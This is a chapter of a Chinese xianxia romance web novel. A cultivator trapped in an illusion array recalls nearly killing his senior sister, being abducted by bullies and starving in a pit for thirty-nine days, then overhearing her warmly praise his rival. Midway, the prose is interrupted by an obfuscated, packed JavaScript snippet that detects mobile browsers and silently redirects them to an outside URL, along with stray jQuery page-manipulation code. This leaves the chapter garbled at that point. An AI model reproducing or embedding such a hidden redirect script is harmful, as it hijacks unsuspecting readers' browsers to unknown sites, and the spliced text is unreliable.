12. 哦,讨人喜欢

作品:《师姐怎么还不采补我

    云起时默许了赌约的存在。


    于是她教他识字,督促他练功,将长老课上讲的内容一遍遍解释给他听。


    费尽心思。


    这样的日子过了许久。


    久到让他开始习惯,习惯陈在野在清晨的第一缕阳光时出现,习惯她漫不经心的脚步声,习惯她身上若有若无的沉木香。


    久到让他开始不习惯,不习惯一个人看书,不习惯一个人出门,不习惯她身边的其他人。


    也久到快让陈在野忘记,他们还在幻阵中。


    已经是第三十次循环。


    幻阵中时间流速与外界不同,慢慢的,他们开始失去对时间的概念。


    疑虑渐渐在心底生根发芽。


    “也不知道外面过去了多久……”陈在野按着太阳穴,心中咯噔一下,颇感不妙,“不会已经是第四日了吧?”


    “不会的,”他安慰道,“我们尚且神志清醒,这就说明外界时间没有过去太久。”


    “也是。”


    但紧接着,她又想起徐真桉和关山景来。


    按理来说,他们若安好,定然会来解救她和云起时。


    可到目前为止,还没有半分动静……


    她心下一沉。


    “徐真桉他们,怕是也入阵了。”


    这是最糟糕的情况,因为这就意味着他们不仅无法指望徐真桉和关山景,还要尽可能快些出去,解救那二人。


    当然,她不是不相信他们的实力,只是讯息闭塞又时间紧迫,他们四人都赌不起。


    云起时也意识到了这一点,知道她想说什么。


    “我们只能靠自己了。”


    “嗯,”陈在野在他面前踱来踱去,“对于阵眼,你还是一点儿头绪都没有吗?唉,你到底有什么心结啊?”


    “……”


    云起时暗叹一声,垂下了头,碎发形成的阴影遮盖住了他嘴角自嘲的弧度。


    师姐,你还是一点儿都不了解我。


    他心想。


    不过,也幸好不了解。


    他的心结,还能与谁有关呢?


    *


    赌约兑现的那一日到来得比所有人预想都快。


    十五岁的云起时推开闭关室的房门,第一眼就瞧见了靠在树上打盹的陈在野。


    他无声无息走到树下,静静地凝视着她。


    怎么会有人这般毫无警惕。


    他手指一颤,触碰到了袖中的匕首。


    就像是触碰到了记忆的机关,往日种种在眼前不断闪现。


    一会儿是那些倾慕或是仰慕陈在野的人,在大庭广众之下戏耍嘲弄他,在严寒的冬日扔他入湖,在没有人看见的角落对他拳脚相加。


    一会儿是那些憎恶陈在野的人,恨屋及乌,拿他出气。


    一会儿是那些想巴结讨好陈在野的人,逼他作娈童打扮,要绑了他献殷勤……


    一切的一切的源头都是她。


    都是因为她。


    要是她……要是她能消失就好了。


    不知不觉间,匕首被他抓进了手中,视线锁在了她颈侧跳动的动脉上。


    只需要一息,她便能永远消失了。


    就像他一直期待的那样。


    还有那些人……


    他一个也不会放过。


    他冷冷地想。


    可这样冷冰冰的想法,似乎也将他的手一同冻住了。


    他无缘由地动弹不得。


    直到陈在野眼皮一颤,缓缓睁开眼,他的手也没能成功移动半分。


    “你出关了?”陈在野上下打量了他一番,眼中先是惊讶,后漾起笑意来。


    像一盆冷水浇在头上。


    他如梦初醒,慌乱收起匕首。


    “恭喜恭喜,不过一年半便到了炼气期,你也算门中修炼速度顶快的人了。当然,赶师姐我是还差不少,赶杜蘅……嗯,可能差不多。对了,有件事还没来得及告诉你……”


    她就是这样一边自顾自说着,一边拍拍屁股站起身,扯着他的胳膊走在前面。


    但他必须要打断了。


    “要去哪?”


    “当然是要去杜蘅面前好好炫耀一番了!”陈在野脸上尽是得意之色,洋洋自喜,“哎呀哎呀,到时候他肯定脸色很难看……”


    她的声音听起来是那么欢快。


    似乎连周围的景色都受到了感染,变得生机勃勃。


    他瞧见春光明媚,心情也稍稍明快了些,嘴角轻轻勾起了一个弧度。


    谁都没有发现,包括他自己。


    “我不去,那是你们的赌约,与我无关。”但他的声音还是那么冷淡,他抽出胳膊,“我要回去休息了。”


    “好吧。”


    陈在野几乎没有思考就接受了他这个理由。


    “那你好好休息。”临走前她只是这么说。


    连告别都没有。


    他的嘴角如屋顶瓦片滑落般垮下。


    他在心中一遍又一遍、洗脑般地对自己说。


    你瞧,赌约一兑现,她就这样急着撇清关系。


    她对你这么好,都是因为赌约。


    只是因为赌约。


    她甚至都不屑拿他当炉鼎看。


    这个想法令他眼胀,指尖几乎要穿透攥在掌心的衣袖。


    他愤愤地想,不,就算退一万步,她难道不该对我这么好吗?


    她可是他遭遇的这一切的罪魁祸首。


    这都是她应该的!


    她就应该满怀愧疚地一辈子赎罪,一辈子对他好才是!


    可她怎么能只是因为赌约?


    太阳该死的毒辣,草丛里该死的震天响的虫鸣,还有叽叽喳喳叫个没完的该死的鸟!


    该死的……


    眼前忽明忽暗,晕眩席卷了全身。


    忽地颈后一痛,他眼前全黑,渐渐失去了意识。


    有人在他身后猛踹了一脚。


    “哼,可算是让我等到了,别以为少门主护着你,就把自己当个宝了。带走!”


    似乎又是因为陈在野。


    ……


    再睁开眼时,已是入夜时分。


    他身处于一处伸手不见五指的地穴中,外面有风吹过树林树叶抖动的沙沙声,他猜,应该是后山门的那处荒山林。


    双手双脚都被捆仙绳牢牢捆住,经脉堵塞,无法动弹。


    袖中的匕首不知去了哪里。


    头顶有声音越来越远。


    “真……真要这么做吗?这儿几乎就没有人来,他不会饿死吧?”


    “蠢货!他都练气期了怎么会饿死?”


    “就是,我们这是好心帮他辟谷,他应该感谢我们才对呢。”


    “要是被少门主知道了怎么办?”


    “他又没有看清我们的脸,哪知道是谁干的?”


    “再说了,少门主被掌门派出去历练,还不知道什么时候能回来呢……”


    ……原来这就是她没有来得及说的那件事吗?<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316202|183010||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    他恍惚了一瞬。


    天色越来越沉,厚重的云一点点压实了天,云层深处传来一声闷雷,梅雨季就在这个夜晚悄然降临了。


    他的心也越来越沉。


    没有人会在意他的死活。


    也许到死都不会有人发现他。


    那种童年被爹娘推给扶邪馆的恐慌感再一次袭来,冲散了他的理智,抽干了他浑身的力气。


    灵魂也在下沉。


    下沉。


    沉到了地心。


    好恨……


    好恨陈在野。


    可他又控制不住地期待着她的出现。


    好讨厌……


    好讨厌这样的自己。


    雷声不断,就像鼓槌重重地敲在他的心上。


    天地寥廓,却仿佛只剩他一人。


    时间像雨水钻入土壤,一点一点渗走。


    第一天,没有人来。


    第二天,好饿。依然没有人来。


    第三天,饿得呕出酸水。还是没有人来。她也没有来。


    第四天,饿昏了过去。在梦中,她来了。


    第五天、第六天、第七天……


    直到第三十九天。


    他隐约听到了她的声音。


    “这一趟真够累人的。”


    他听到她如释重负地说,于是脑中立马想象出了她说这话时的模样——一定是弯着眼,翘着唇,左边唇角会比右边唇角高一点。


    他起初以为又是梦。


    直到声音越来越近。


    “不过,没想到竟然这么顺利。”


    心脏像是从土壤深处挖出,回到胸腔中,没骨气地剧烈跳动起来。


    ……有多顺利?


    他意识模糊地在心底问。


    “我还以为至少要忙两三个月呢,没想到,一个月就搞定了。”


    ……明明是三十九天。


    “唉,没想到咱们止戈盟内竟然混入了那么多邪修。”


    ……邪修?有没有受伤?


    “那天真是险,你没有看见,那一鞭子擦着我脖子过去,就差那么一丁点儿!”


    他呼吸一滞。


    他就这样和她“一问一答”,仿佛他正在和她并肩走着。


    直到另一个耳熟的声音响起。


    “下次不要分头行动了,邪修还是不可小觑。”


    他屏住了呼吸,仔细辨认起来——


    是杜蘅的声音。


    心脏如飞鸟从高空中倏地坠下,重重砸在荆棘丛中。


    被刺穿,被绞裂,被切得七零八落,被磨成齑粉……


    怎么会是杜蘅?


    她……不是最讨厌杜蘅了吗?


    她难道忘了那一日,杜蘅是如何羞辱他的了吗?


    他仿佛变成了一只被抛尸荒野的弃犬,灵魂孤零零地在世间游走。


    二人突然停在了他头顶上方,就像是踏在了他冰冷的尸体上一样。


    闲聊的每一个字都清晰传入他耳中。


    “那倒也不必,分头行动还是效率高些……好吧,还是心领了,谢谢。”


    “能从我们陈大小姐嘴里听到‘谢谢’两个字,真是让人受宠若惊,”他听见杜蘅低笑了一声,“看来是没那么讨厌我了。”


    “嗯。”


    他听见她拖着尾音,语气中带了几分懒洋洋的笑意。


    “杜蘅,我突然发现,你这人还蛮讨我喜欢的。”


    地上地下,两个人同时失了心跳。